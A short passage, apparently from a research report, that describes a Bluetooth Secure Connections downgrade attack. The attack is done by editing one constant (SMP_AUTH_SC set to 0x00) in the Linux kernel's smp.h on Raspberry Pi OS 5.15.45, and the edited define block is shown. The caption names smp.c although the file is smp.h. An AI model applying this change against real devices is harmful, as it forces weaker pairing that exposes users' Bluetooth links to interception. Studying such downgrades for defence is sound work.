Secure Connections Downgrade Attack

I used the Raspberry Pi OS kernel version v5.15.45 for the attack implementation.

For this attack I only needed to modify one value in the `/home/pi/kernel/linux/net/bluetooth/smp.h`[1] file, namely the value for `SMP_AUTH_SC` from `0x08` to `0x00` as listing 1 shows.

```
#define SMP_AUTH_NONE       0x00
#define SMP_AUTH_BONDING    0x01
#define SMP_AUTH_MITM       0x04
#define SMP_AUTH_SC         ~~0x08~~ 0x00
#define SMP_AUTH_KEYPRESS   0x10
#define SMP_AUTH_CT2        0x20
```

Listing 1: Authentication Requirements in the *smp.c* file

[1] https://elixir.bootlin.com/linux/v5.15.45/source/net/bluetooth/smp.h